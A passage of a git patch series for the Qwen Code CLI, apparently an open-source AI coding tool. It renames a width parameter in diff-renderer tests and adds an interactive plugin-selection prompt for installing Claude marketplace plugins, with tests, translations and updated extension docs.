terminalWidth: number) => - output?.replace(/GAP_INDICATOR/g, '═'.repeat(terminalWidth)); + const sanitizeOutput = (output: string | undefined, contentWidth: number) => + output?.replace(/GAP_INDICATOR/g, '═'.repeat(contentWidth)); it('should call colorizeCode with correct language for new file with known extension', () => { const newFileDiffContent = ` @@ -37,6 +45,7 @@ index 0000000..e69de29 diffContent={newFileDiffContent} filename="test.py" contentWidth={80} + settings={mockSettings} /> , ); @@ -46,7 +55,7 @@ index 0000000..e69de29 undefined, 80, undefined, - undefined, + mockSettings, ); }); @@ -66,6 +75,7 @@ index 0000000..e69de29 diffContent={newFileDiffContent} filename="test.unknown" contentWidth={80} + settings={mockSettings} /> , ); @@ -75,7 +85,7 @@ index 0000000..e69de29 undefined, 80, undefined, - undefined, + mockSettings, ); }); @@ -91,7 +101,11 @@ index 0000000..e69de29 `; render( - + , ); expect(mockColorizeCode).toHaveBeenCalledWith( @@ -100,7 +114,7 @@ index 0000000..e69de29 undefined, 80, undefined, - undefined, + mockSettings, ); }); @@ -120,6 +134,7 @@ index 0000001..0000002 100644 diffContent={existingFileDiffContent} filename="test.txt" contentWidth={80} + settings={mockSettings} /> , ); @@ -150,6 +165,7 @@ index 1234567..1234567 100644 diffContent={noChangeDiff} filename="file.txt" contentWidth={80} + settings={mockSettings} /> , ); @@ -160,7 +176,11 @@ index 1234567..1234567 100644 it('should handle empty diff content', () => { const { lastFrame } = render( - + , ); expect(lastFrame()).toContain('No diff content'); @@ -187,6 +207,7 @@ index 123..456 100644 diffContent={diffWithGap} filename="file.txt" contentWidth={80} + settings={mockSettings} /> , ); @@ -224,6 +245,7 @@ index abc..def 100644 diffContent={diffWithSmallGap} filename="file.txt" contentWidth={80} + settings={mockSettings} /> , ); @@ -255,7 +277,7 @@ index 123..789 100644 it.each([ { - terminalWidth: 80, + contentWidth: 80, height: undefined, expected: ` 1 console.log('first hunk'); 2 - const oldVar = 1; @@ -268,7 +290,7 @@ index 123..789 100644 22 console.log('end of second hunk');`, }, { - terminalWidth: 80, + contentWidth: 80, height: 6, expected: `... first 4 lines hidden ... ════════════════════════════════════════════════════════════════════════════════ @@ -278,7 +300,7 @@ index 123..789 100644 22 console.log('end of second hunk');`, }, { - terminalWidth: 30, + contentWidth: 30, height: 6, expected: `... first 10 lines hidden ... ; @@ -288,20 +310,21 @@ index 123..789 100644 second hunk');`, }, ])( - 'with terminalWidth $terminalWidth and height $height', - ({ terminalWidth, height, expected }) => { + 'with contentWidth $contentWidth and height $height', + ({ contentWidth, height, expected }) => { const { lastFrame } = render( , ); const output = lastFrame(); - expect(sanitizeOutput(output, terminalWidth)).toEqual(expected); + expect(sanitizeOutput(output, contentWidth)).toEqual(expected); }, ); }); @@ -328,6 +351,7 @@ fileDiff Index: file.txt diffContent={newFileDiff} filename="TEST" contentWidth={80} + settings={mockSettings} /> , ); @@ -358,6 +382,7 @@ fileDiff Index: Dockerfile diffContent={newFileDiff} filename="Dockerfile" contentWidth={80} + settings={mockSettings} /> , ); @@ -385,7 +410,7 @@ index 0000001..0000002 100644 , ); @@ -409,7 +434,7 @@ index 0000001..0000002 100644 , @@ -434,7 +459,7 @@ index 0000001..0000002 100644 , diff --git a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx index d8ded72a6..7bfe9a962 100644 --- a/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx +++ b/packages/cli/src/ui/components/messages/ToolConfirmationMessage.tsx @@ -226,6 +226,7 @@ export const ToolConfirmationMessage: React.FC< filename={confirmationDetails.fileName} availableTerminalHeight={availableBodyContentHeight()} contentWidth={contentWidth} + settings={settings} /> ); } else if (confirmationDetails.type === 'exec') { diff --git a/packages/cli/src/ui/components/messages/ToolMessage.test.tsx b/packages/cli/src/ui/components/messages/ToolMessage.test.tsx index f8bc7cb58..0c44a8ed9 100644 --- a/packages/cli/src/ui/components/messages/ToolMessage.test.tsx +++ b/packages/cli/src/ui/components/messages/ToolMessage.test.tsx @@ -11,11 +11,13 @@ import { ToolMessage } from './ToolMessage.js'; import { StreamingState, ToolCallStatus } from '../../types.js'; import { Text } from 'ink'; import { StreamingContext } from '../../contexts/StreamingContext.js'; +import { SettingsContext } from '../../contexts/SettingsContext.js'; import type { AnsiOutput, AnsiOutputDisplay, Config, } from '@qwen-code/qwen-code-core'; +import type { LoadedSettings } from '../../../config/settings.js'; vi.mock('../TerminalOutput.js', () => ({ TerminalOutput: function MockTerminalOutput({ @@ -90,6 +92,15 @@ vi.mock('../subagents/index.js', () => ({ }, })); +// Mock settings +const mockSettings: LoadedSettings = { + merged: { + ui: { + showLineNumbers: true, + }, + }, +} as LoadedSettings; + // Helper to render with context const renderWithContext = ( ui: React.ReactElement, @@ -97,9 +108,11 @@ const renderWithContext = ( ) => { const contextValue: StreamingState = streamingState; return render( - - {ui} - , + + + {ui} + + , ); }; diff --git a/packages/cli/src/ui/components/messages/ToolMessage.tsx b/packages/cli/src/ui/components/messages/ToolMessage.tsx index 5f7e12727..afc16317c 100644 --- a/packages/cli/src/ui/components/messages/ToolMessage.tsx +++ b/packages/cli/src/ui/components/messages/ToolMessage.tsx @@ -30,7 +30,7 @@ import { TOOL_STATUS, } from '../../constants.js'; import { theme } from '../../semantic-colors.js'; -import { SettingsContext } from '../../contexts/SettingsContext.js'; +import { useSettings } from '../../contexts/SettingsContext.js'; import type { LoadedSettings } from '../../../config/settings.js'; const STATIC_HEIGHT = 1; @@ -247,7 +247,7 @@ export const ToolMessage: React.FC = ({ ptyId, config, }) => { - const settings = React.useContext(SettingsContext); + const settings = useSettings(); const isThisShellFocused = (name === SHELL_COMMAND_NAME || name === 'Shell') && status === ToolCallStatus.Executing && From 9af9ea259dac5da0c5eb2dcba79632709424169e Mon Sep 17 00:00:00 2001 From: LaZzyMan Date: Fri, 23 Jan 2026 16:23:30 +0800 Subject: [PATCH 21/79] feat: add select ui for claude marketplace --- docs/users/extension/_meta.ts | 2 +- docs/users/extension/introduction.md | 77 ++--- package-lock.json | 3 +- packages/cli/package.json | 2 + .../src/commands/extensions/consent.test.ts | 83 +++++- .../cli/src/commands/extensions/consent.ts | 45 +++ .../src/commands/extensions/install.test.ts | 1 + .../cli/src/commands/extensions/install.ts | 2 + .../cli/src/commands/extensions/utils.test.ts | 1 + packages/cli/src/commands/extensions/utils.ts | 2 + packages/cli/src/i18n/locales/de.js | 13 + packages/cli/src/i18n/locales/en.js | 13 + packages/cli/src/i18n/locales/ru.js | 13 + packages/cli/src/i18n/locales/zh.js | 12 + packages/cli/src/ui/AppContainer.tsx | 26 ++ .../cli/src/ui/components/DialogManager.tsx | 14 + .../ui/components/PluginChoicePrompt.test.tsx | 243 ++++++++++++++++ .../src/ui/components/PluginChoicePrompt.tsx | 195 +++++++++++++ .../cli/src/ui/contexts/UIStateContext.tsx | 2 + .../src/ui/hooks/useExtensionUpdates.test.ts | 116 ++++++++ .../cli/src/ui/hooks/useExtensionUpdates.ts | 66 +++++ packages/cli/src/ui/types.ts | 12 + packages/core/src/config/config.ts | 7 +- .../core/src/extension/claude-converter.ts | 8 +- .../src/extension/extensionManager.test.ts | 42 --- .../core/src/extension/extensionManager.ts | 123 ++++---- packages/core/src/extension/github.test.ts | 26 -- packages/core/src/extension/github.ts | 13 +- packages/core/src/extension/index.ts | 2 + .../core/src/extension/marketplace.test.ts | 247 ++++++++++++---- packages/core/src/extension/marketplace.ts | 263 ++++++++++++++++-- 31 files changed, 1388 insertions(+), 286 deletions(-) create mode 100644 packages/cli/src/ui/components/PluginChoicePrompt.test.tsx create mode 100644 packages/cli/src/ui/components/PluginChoicePrompt.tsx diff --git a/docs/users/extension/_meta.ts b/docs/users/extension/_meta.ts index 386bb68fc..ad072a629 100644 --- a/docs/users/extension/_meta.ts +++ b/docs/users/extension/_meta.ts @@ -1,6 +1,6 @@ export default { introduction: 'Introduction', - 'getting-start-extensions': { + 'getting-started-extensions': { display: 'hidden', }, 'extension-releasing': { diff --git a/docs/users/extension/introduction.md b/docs/users/extension/introduction.md index 64bc7bc7d..2717150db 100644 --- a/docs/users/extension/introduction.md +++ b/docs/users/extension/introduction.md @@ -1,8 +1,8 @@ # Qwen Code Extensions -Qwen Code extensions package prompts, MCP servers, and custom commands into a familiar and user-friendly format. With extensions, you can expand the capabilities of Qwen Code and share those capabilities with others. They are designed to be easily installable and shareable. +Qwen Code extensions package prompts, MCP servers, subagents, skills and custom commands into a familiar and user-friendly format. With extensions, you can expand the capabilities of Qwen Code and share those capabilities with others. They are designed to be easily installable and shareable. -This cross-platform compatibility gives you access to a rich ecosystem of extensions and plugins, dramatically expanding Qwen Code's capabilities without requiring extension authors to maintain separate versions. +Extensions and plugins from [Gemini CLI Extensions Gallery](https://geminicli.com/extensions/) and [Claude Code Marketplace](https://claudemarketplaces.com/) can be directly installed into Qwen Code.This cross-platform compatibility gives you access to a rich ecosystem of extensions and plugins, dramatically expanding Qwen Code's capabilities without requiring extension authors to maintain separate versions. ## Extension management @@ -21,6 +21,7 @@ You can manage extensions at runtime within the interactive CLI using `/extensio | `/extensions disable --scope ` | Disable an extension | | `/extensions update ` | Update a specific extension | | `/extensions update --all` | Update all extensions with available updates | +| `/extensions detail ` | Show details of an extension | | `/extensions explore [source]` | Open extensions source page(Gemini or ClaudeCode) in your browser | ### CLI Extension Management @@ -31,9 +32,46 @@ You can also manage extensions using `qwen extensions` CLI commands. Note that c You can install an extension using `qwen extensions install` from multiple sources: -#### From Gemini CLI Extensions Marketplace +#### From Claude Code Marketplace -Qwen Code fully supports extensions from the [Gemini CLI Extensions Marketplace](https://geminicli.com/extensions/). Simply install them using the git URL: +Qwen Code also supports plugins from the [Claude Code Marketplace](https://claudemarketplaces.com/). Choose a marketplace and install a plugin from one marketplace through the format: + +```bash +qwen extensions install : +``` + +For example, to install the `prompts.chat` plugin from the [f/awesome-chatgpt-prompts](https://claudemarketplaces.com/plugins/f-awesome-chatgpt-prompts) marketplace: + +```bash +qwen extensions install f/awesome-chatgpt-prompts:prompts.chat +# or +qwen extensions install https://github.com/f/awesome-chatgpt-prompts:prompts.chat +``` + +Claude plugins are automatically converted to Qwen Code format during installation: + +- `claude-plugin.json` is converted to `qwen-extension.json` +- Agent configurations are converted to Qwen subagent format +- Skill configurations are converted to Qwen skill format +- Tool mappings are automatically handled + +You can quickly browse available extensions from different marketplaces using the `/extensions explore` command: + +```bash +# Open Gemini CLI Extensions marketplace +/extensions explore Gemini + +# Open Claude Code marketplace +/extensions explore ClaudeCode +``` + +This command opens the respective marketplace in your default browser, allowing you to discover new extensions to enhance your Qwen Code experience. + +> **Cross-Platform Compatibility**: This allows you to leverage the rich extension ecosystems from both Gemini CLI and Claude Code, dramatically expanding the available functionality for Qwen Code users. + +#### From Gemini CLI Extensions + +Qwen Code fully supports extensions from the [Gemini CLI Extensions Gallery](https://geminicli.com/extensions/). Simply install them using the git URL: ```bash qwen extensions install @@ -45,23 +83,6 @@ Gemini extensions are automatically converted to Qwen Code format during install - TOML command files are automatically migrated to Markdown format - MCP servers, context files, and settings are preserved -#### From Claude Code Marketplace - -Qwen Code also supports plugins from the [Claude Code Marketplace](https://claudemarketplaces.com/). Install them using the marketplace URL format: - -```bash -qwen extensions install : -``` - -Claude plugins are automatically converted to Qwen Code format during installation: - -- `claude-plugin.json` is converted to `qwen-extension.json` -- Agent configurations are converted to Qwen subagent format -- Skill configurations are converted to Qwen skill format -- Tool mappings are automatically handled - -> **Cross-Platform Compatibility**: This allows you to leverage the rich extension ecosystems from both Gemini CLI and Claude Code, dramatically expanding the available functionality for Qwen Code users. - #### From Git Repository ```bash @@ -108,20 +129,6 @@ You can update all extensions with: qwen extensions update --all ``` -### Exploring Extension Marketplaces - -You can quickly browse available extensions from different marketplaces using the `/extensions explore` command: - -```bash -# Open Gemini CLI Extensions marketplace -/extensions explore Gemini - -# Open Claude Code marketplace -/extensions explore ClaudeCode -``` - -This command opens the respective marketplace in your default browser, allowing you to discover new extensions to enhance your Qwen Code experience. - ## How it works On startup, Qwen Code looks for extensions in `/.qwen/extensions` diff --git a/package-lock.json b/package-lock.json index 2a0726478..b4f0301d3 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3879,7 +3879,6 @@ "version": "2.4.9", "resolved": "https://registry.npmjs.org/@types/prompts/-/prompts-2.4.9.tgz", "integrity": "sha512-qTxFi6Buiu8+50/+3DGIWLHM6QuWsEKugJnnP6iv2Mc4ncxE4A/OJkjuVOA+5X0X1S/nq5VJRa8Lu+nwcvbrKA==", - "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", @@ -17349,6 +17348,7 @@ "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", + "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -17364,6 +17364,7 @@ "ink-spinner": "^5.0.0", "lowlight": "^3.3.0", "open": "^10.1.2", + "prompts": "^2.4.2", "qrcode-terminal": "^0.12.0", "react": "^19.1.0", "read-package-up": "^11.0.0", diff --git a/packages/cli/package.json b/packages/cli/package.json index 03e5d90e9..4136e600f 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -40,6 +40,7 @@ "@iarna/toml": "^2.2.5", "@modelcontextprotocol/sdk": "^1.25.1", "@qwen-code/qwen-code-core": "file:../core", + "@types/prompts": "^2.4.9", "@types/update-notifier": "^6.0.8", "ansi-regex": "^6.2.2", "command-exists": "^1.2.9", @@ -55,6 +56,7 @@ "ink-spinner": "^5.0.0", "lowlight": "^3.3.0", "open": "^10.1.2", + "prompts": "^2.4.2", "qrcode-terminal": "^0.12.0", "react": "^19.1.0", "read-package-up": "^11.0.0", diff --git a/packages/cli/src/commands/extensions/consent.test.ts b/packages/cli/src/commands/extensions/consent.test.ts index 3b9808bc4..7d48a7c8c 100644 --- a/packages/cli/src/commands/extensions/consent.test.ts +++ b/packages/cli/src/commands/extensions/consent.test.ts @@ -5,8 +5,16 @@ */ import { describe, it, expect, vi, beforeEach } from 'vitest'; -import { extensionConsentString, requestConsentOrFail } from './consent.js'; -import type { ExtensionConfig } from '@qwen-code/qwen-code-core'; +import { + extensionConsentString, + requestConsentOrFail, + requestChoicePluginNonInteractive, +} from './consent.js'; +import type { + ExtensionConfig, + ClaudeMarketplaceConfig, +} from '@qwen-code/qwen-code-core'; +import prompts from 'prompts'; vi.mock('../../i18n/index.js', () => ({ t: vi.fn((str: string, params?: Record) => { @@ -20,6 +28,8 @@ vi.mock('../../i18n/index.js', () => ({ }), })); +vi.mock('prompts'); + describe('extensionConsentString', () => { it('should include extension name', () => { const config: ExtensionConfig = { @@ -241,3 +251,72 @@ describe('requestConsentOrFail', () => { expect(mockRequestConsent).toHaveBeenCalled(); }); }); + +describe('requestChoicePluginNonInteractive', () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it('should throw error when plugins array is empty', async () => { + const marketplace: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [], + }; + + await expect( + requestChoicePluginNonInteractive(marketplace), + ).rejects.toThrow('No plugins available in this marketplace.'); + }); + + it('should return selected plugin name', async () => { + const marketplace: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [ + { + name: 'plugin1', + description: 'Plugin 1', + version: '1.0.0', + source: 'src1', + }, + { + name: 'plugin2', + description: 'Plugin 2', + version: '1.0.0', + source: 'src2', + }, + ], + }; + + vi.mocked(prompts).mockResolvedValueOnce({ plugin: 'plugin2' }); + + const result = await requestChoicePluginNonInteractive(marketplace); + + expect(result).toBe('plugin2'); + expect(prompts).toHaveBeenCalledWith( + expect.objectContaining({ + type: 'select', + name: 'plugin', + choices: expect.arrayContaining([ + expect.objectContaining({ value: 'plugin1' }), + expect.objectContaining({ value: 'plugin2' }), + ]), + }), + ); + }); + + it('should throw error when selection is cancelled', async () => { + const marketplace: ClaudeMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner', email: 'test@example.com' }, + plugins: [{ name: 'plugin1', version: '1.0.0', source: 'src1' }], + }; + + vi.mocked(prompts).mockResolvedValueOnce({ plugin: undefined }); + + await expect( + requestChoicePluginNonInteractive(marketplace), + ).rejects.toThrow('Plugin selection cancelled.'); + }); +}); diff --git a/packages/cli/src/commands/extensions/consent.ts b/packages/cli/src/commands/extensions/consent.ts index c3da6a282..cfff6e5b7 100644 --- a/packages/cli/src/commands/extensions/consent.ts +++ b/packages/cli/src/commands/extensions/consent.ts @@ -1,4 +1,5 @@ import type { + ClaudeMarketplaceConfig, ExtensionConfig, ExtensionRequestOptions, SkillConfig, @@ -6,6 +7,7 @@ import type { } from '@qwen-code/qwen-code-core'; import type { ConfirmationRequest } from '../../ui/types.js'; import chalk from 'chalk'; +import prompts from 'prompts'; import { t } from '../../i18n/index.js'; /** @@ -27,6 +29,49 @@ export async function requestConsentNonInteractive( return result; } +/** + * Requests plugin selection from the user in non-interactive mode. + * Displays an interactive list with arrow key navigation. + * + * This should not be called from interactive mode as it will break the CLI. + * + * @param marketplace The marketplace config containing available plugins. + * @returns The name of the selected plugin. + */ +export async function requestChoicePluginNonInteractive( + marketplace: ClaudeMarketplaceConfig, +): Promise { + const plugins = marketplace.plugins; + + if (plugins.length === 0) { + throw new Error(t('No plugins available in this marketplace.')); + } + + // Build choices for prompts select + + const choices = plugins.map((plugin) => ({ + title: chalk.green(chalk.bold(`[${plugin.name}]`)), + value: plugin.name, + })); + + const response = await prompts({ + type: 'select', + name: 'plugin', + message: t('Select a plugin to install from marketplace "{{name}}":', { + name: marketplace.name, + }), + choices, + initial: 0, + }); + + // Handle cancellation (Ctrl+C) + if (response.plugin === undefined) { + throw new Error(t('Plugin selection cancelled.')); + } + + return response.plugin; +} + /** * Requests consent from the user to perform an action, in interactive mode. * diff --git a/packages/cli/src/commands/extensions/install.test.ts b/packages/cli/src/commands/extensions/install.test.ts index bb18392bc..f002d1a12 100644 --- a/packages/cli/src/commands/extensions/install.test.ts +++ b/packages/cli/src/commands/extensions/install.test.ts @@ -35,6 +35,7 @@ vi.mock('@qwen-code/qwen-code-core', () => ({ vi.mock('./consent.js', () => ({ requestConsentNonInteractive: mockRequestConsentNonInteractive, requestConsentOrFail: mockRequestConsentOrFail, + requestChoicePluginNonInteractive: vi.fn(), })); vi.mock('../../config/trustedFolders.js', () => ({ diff --git a/packages/cli/src/commands/extensions/install.ts b/packages/cli/src/commands/extensions/install.ts index 6a9ce4929..f7fda09df 100644 --- a/packages/cli/src/commands/extensions/install.ts +++ b/packages/cli/src/commands/extensions/install.ts @@ -16,6 +16,7 @@ import { loadSettings } from '../../config/settings.js'; import { requestConsentOrFail, requestConsentNonInteractive, + requestChoicePluginNonInteractive, } from './consent.js'; import { t } from '../../i18n/index.js'; @@ -54,6 +55,7 @@ export async function handleInstall(args: InstallArgs) { loadSettings(workspaceDir).merged, ), requestConsent, + requestChoicePlugin: requestChoicePluginNonInteractive, }); await extensionManager.refreshCache(); diff --git a/packages/cli/src/commands/extensions/utils.test.ts b/packages/cli/src/commands/extensions/utils.test.ts index 278ee7a54..84050dbfa 100644 --- a/packages/cli/src/commands/extensions/utils.test.ts +++ b/packages/cli/src/commands/extensions/utils.test.ts @@ -32,6 +32,7 @@ vi.mock('../../config/trustedFolders.js', () => ({ vi.mock('./consent.js', () => ({ requestConsentOrFail: vi.fn(), requestConsentNonInteractive: vi.fn(), + requestChoicePluginNonInteractive: vi.fn(), })); describe('getExtensionManager', () => { diff --git a/packages/cli/src/commands/extensions/utils.ts b/packages/cli/src/commands/extensions/utils.ts index 97e7a8d2f..d7d2d0a59 100644 --- a/packages/cli/src/commands/extensions/utils.ts +++ b/packages/cli/src/commands/extensions/utils.ts @@ -9,6 +9,7 @@ import { loadSettings } from '../../config/settings.js'; import { requestConsentOrFail, requestConsentNonInteractive, + requestChoicePluginNonInteractive, } from './consent.js'; import { isWorkspaceTrusted } from '../../config/trustedFolders.js'; import * as os from 'node:os'; @@ -22,6 +23,7 @@ export async function getExtensionManager(): Promise { null, requestConsentNonInteractive, ), + requestChoicePlugin: requestChoicePluginNonInteractive, isWorkspaceTrusted: !!isWorkspaceTrusted(loadSettings(workspaceDir).merged), }); await extensionManager.refreshCache(); diff --git a/packages/cli/src/i18n/locales/de.js b/packages/cli/src/i18n/locales/de.js index 1dc124c3f..95496b4be 100644 --- a/packages/cli/src/i18n/locales/de.js +++ b/packages/cli/src/i18n/locales/de.js @@ -507,6 +507,19 @@ export default { 'Manage extension settings.': 'Erweiterungseinstellungen verwalten.', 'You need to specify a command (set or list).': 'Sie müssen einen Befehl angeben (set oder list).', + // ============================================================================ + // Plugin Choice / Marketplace + // ============================================================================ + 'No plugins available in this marketplace.': + 'In diesem Marktplatz sind keine Plugins verfügbar.', + 'Select a plugin to install from marketplace "{{name}}":': + 'Wählen Sie ein Plugin zur Installation aus Marktplatz "{{name}}":', + 'Plugin selection cancelled.': 'Plugin-Auswahl abgebrochen.', + 'Select a plugin from "{{name}}"': 'Plugin aus "{{name}}" auswählen', + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel': + 'Verwenden Sie ↑↓ oder j/k zum Navigieren, Enter zum Auswählen, Escape zum Abbrechen', + '{{count}} more above': '{{count}} weitere oben', + '{{count}} more below': '{{count}} weitere unten', 'manage IDE integration': 'IDE-Integration verwalten', 'check status of IDE integration': 'Status der IDE-Integration prüfen', 'install required IDE companion for {{ideName}}': diff --git a/packages/cli/src/i18n/locales/en.js b/packages/cli/src/i18n/locales/en.js index 929ffc904..cef757a0b 100644 --- a/packages/cli/src/i18n/locales/en.js +++ b/packages/cli/src/i18n/locales/en.js @@ -515,6 +515,19 @@ export default { 'Manage extension settings.': 'Manage extension settings.', 'You need to specify a command (set or list).': 'You need to specify a command (set or list).', + // ============================================================================ + // Plugin Choice / Marketplace + // ============================================================================ + 'No plugins available in this marketplace.': + 'No plugins available in this marketplace.', + 'Select a plugin to install from marketplace "{{name}}":': + 'Select a plugin to install from marketplace "{{name}}":', + 'Plugin selection cancelled.': 'Plugin selection cancelled.', + 'Select a plugin from "{{name}}"': 'Select a plugin from "{{name}}"', + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel': + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel', + '{{count}} more above': '{{count}} more above', + '{{count}} more below': '{{count}} more below', 'manage IDE integration': 'manage IDE integration', 'check status of IDE integration': 'check status of IDE integration', 'install required IDE companion for {{ideName}}': diff --git a/packages/cli/src/i18n/locales/ru.js b/packages/cli/src/i18n/locales/ru.js index c5108ec5d..24fd24b9d 100644 --- a/packages/cli/src/i18n/locales/ru.js +++ b/packages/cli/src/i18n/locales/ru.js @@ -519,6 +519,19 @@ export default { 'Manage extension settings.': 'Управление настройками расширений.', 'You need to specify a command (set or list).': 'Необходимо указать команду (set или list).', + // ============================================================================ + // Plugin Choice / Marketplace + // ============================================================================ + 'No plugins available in this marketplace.': + 'В этом маркетплейсе нет доступных плагинов.', + 'Select a plugin to install from marketplace "{{name}}":': + 'Выберите плагин для установки из маркетплейса "{{name}}":', + 'Plugin selection cancelled.': 'Выбор плагина отменён.', + 'Select a plugin from "{{name}}"': 'Выберите плагин из "{{name}}"', + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel': + 'Используйте ↑↓ или j/k для навигации, Enter для выбора, Escape для отмены', + '{{count}} more above': 'ещё {{count}} выше', + '{{count}} more below': 'ещё {{count}} ниже', 'manage IDE integration': 'Управление интеграцией с IDE', 'check status of IDE integration': 'Проверить статус интеграции с IDE', 'install required IDE companion for {{ideName}}': diff --git a/packages/cli/src/i18n/locales/zh.js b/packages/cli/src/i18n/locales/zh.js index d6603207c..4f8c95d88 100644 --- a/packages/cli/src/i18n/locales/zh.js +++ b/packages/cli/src/i18n/locales/zh.js @@ -490,6 +490,18 @@ export default { 'Manage extension settings.': '管理扩展设置。', 'You need to specify a command (set or list).': '您需要指定命令（set 或 list）。', + // ============================================================================ + // Plugin Choice / Marketplace + // ============================================================================ + 'No plugins available in this marketplace.': '此市场中没有可用的插件。', + 'Select a plugin to install from marketplace "{{name}}":': + '从市场 "{{name}}" 中选择要安装的插件：', + 'Plugin selection cancelled.': '插件选择已取消。', + 'Select a plugin from "{{name}}"': '从 "{{name}}" 中选择插件', + 'Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel': + '使用 ↑↓ 或 j/k 导航，回车选择，Esc 取消', + '{{count}} more above': '上方还有 {{count}} 项', + '{{count}} more below': '下方还有 {{count}} 项', 'manage IDE integration': '管理 IDE 集成', 'check status of IDE integration': '检查 IDE 集成状态', 'install required IDE companion for {{ideName}}': diff --git a/packages/cli/src/ui/AppContainer.tsx b/packages/cli/src/ui/AppContainer.tsx index c1bd7b80c..91f580ebf 100644 --- a/packages/cli/src/ui/AppContainer.tsx +++ b/packages/cli/src/ui/AppContainer.tsx @@ -93,6 +93,7 @@ import { useExtensionUpdates, useConfirmUpdateRequests, useSettingInputRequests, + usePluginChoiceRequests, } from './hooks/useExtensionUpdates.js'; import { ShellFocusContext } from './contexts/ShellFocusContext.js'; import { t } from '../i18n/index.js'; @@ -176,12 +177,34 @@ export const AppContainer = (props: AppContainerProps) => { const { addSettingInputRequest, settingInputRequests } = useSettingInputRequests(); + const { addPluginChoiceRequest, pluginChoiceRequests } = + usePluginChoiceRequests(); + extensionManager.setRequestConsent( requestConsentOrFail.bind(null, (description) => requestConsentInteractive(description, addConfirmUpdateExtensionRequest), ), ); + extensionManager.setRequestChoicePlugin( + (marketplace) => + new Promise((resolve, reject) => { + addPluginChoiceRequest({ + marketplaceName: marketplace.name, + plugins: marketplace.plugins.map((p) => ({ + name: p.name, + description: p.description, + })), + onSelect: (pluginName) => { + resolve(pluginName); + }, + onCancel: () => { + reject(new Error('Plugin selection cancelled')); + }, + }); + }), + ); + extensionManager.setRequestSetting( (setting) => new Promise((resolve, reject) => { @@ -1307,6 +1330,7 @@ export const AppContainer = (props: AppContainerProps) => { !!confirmationRequest || confirmUpdateExtensionRequests.length > 0 || settingInputRequests.length > 0 || + pluginChoiceRequests.length > 0 || !!loopDetectionConfirmationRequest || isThemeDialogOpen || isSettingsDialogOpen || @@ -1369,6 +1393,7 @@ export const AppContainer = (props: AppContainerProps) => { confirmationRequest, confirmUpdateExtensionRequests, settingInputRequests, + pluginChoiceRequests, loopDetectionConfirmationRequest, geminiMdFileCount, streamingState, @@ -1461,6 +1486,7 @@ export const AppContainer = (props: AppContainerProps) => { confirmationRequest, confirmUpdateExtensionRequests, settingInputRequests, + pluginChoiceRequests, loopDetectionConfirmationRequest, geminiMdFileCount, streamingState, diff --git a/packages/cli/src/ui/components/DialogManager.tsx b/packages/cli/src/ui/components/DialogManager.tsx index 82417fbe1..c68afd420 100644 --- a/packages/cli/src/ui/components/DialogManager.tsx +++ b/packages/cli/src/ui/components/DialogManager.tsx @@ -12,6 +12,7 @@ import { FolderTrustDialog } from './FolderTrustDialog.js'; import { ShellConfirmationDialog } from './ShellConfirmationDialog.js'; import { ConsentPrompt } from './ConsentPrompt.js'; import { SettingInputPrompt } from './SettingInputPrompt.js'; +import { PluginChoicePrompt } from './PluginChoicePrompt.js'; import { ThemeDialog } from './ThemeDialog.js'; import { SettingsDialog } from './SettingsDialog.js'; import { QwenOAuthProgress } from './QwenOAuthProgress.js'; @@ -147,6 +148,19 @@ export const DialogManager = ({ /> ); } + if (uiState.pluginChoiceRequests.length > 0) { + const request = uiState.pluginChoiceRequests[0]; + return ( + + ); + } if (uiState.isThemeDialogOpen) { return ( diff --git a/packages/cli/src/ui/components/PluginChoicePrompt.test.tsx b/packages/cli/src/ui/components/PluginChoicePrompt.test.tsx new file mode 100644 index 000000000..dd1045d67 --- /dev/null +++ b/packages/cli/src/ui/components/PluginChoicePrompt.test.tsx @@ -0,0 +1,243 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi, beforeEach } from 'vitest'; +import { render } from 'ink-testing-library'; +import { PluginChoicePrompt } from './PluginChoicePrompt.js'; +import { useKeypress } from '../hooks/useKeypress.js'; + +vi.mock('../hooks/useKeypress.js', () => ({ + useKeypress: vi.fn(), +})); + +const mockedUseKeypress = vi.mocked(useKeypress); + +describe('PluginChoicePrompt', () => { + const onSelect = vi.fn(); + const onCancel = vi.fn(); + const terminalWidth = 80; + + beforeEach(() => { + vi.clearAllMocks(); + }); + + describe('rendering', () => { + it('renders marketplace name in title', () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).toContain('test-marketplace'); + }); + + it('renders plugin names', () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).toContain('plugin1'); + expect(lastFrame()).toContain('plugin2'); + }); + + it('renders description for selected plugin only', () => { + const { lastFrame } = render( + , + ); + + // First plugin is selected by default, should show its description + expect(lastFrame()).toContain('First plugin description'); + }); + + it('renders help text', () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).toContain('↑↓'); + expect(lastFrame()).toContain('Enter'); + expect(lastFrame()).toContain('Escape'); + }); + }); + + describe('scrolling behavior', () => { + it('does not show scroll indicators for small lists', () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).not.toContain('more above'); + expect(lastFrame()).not.toContain('more below'); + }); + + it('shows "more below" indicator for long lists', () => { + const plugins = Array.from({ length: 15 }, (_, i) => ({ + name: `plugin${i + 1}`, + })); + + const { lastFrame } = render( + , + ); + + // At the beginning, should show "more below" but not "more above" + expect(lastFrame()).not.toContain('more above'); + 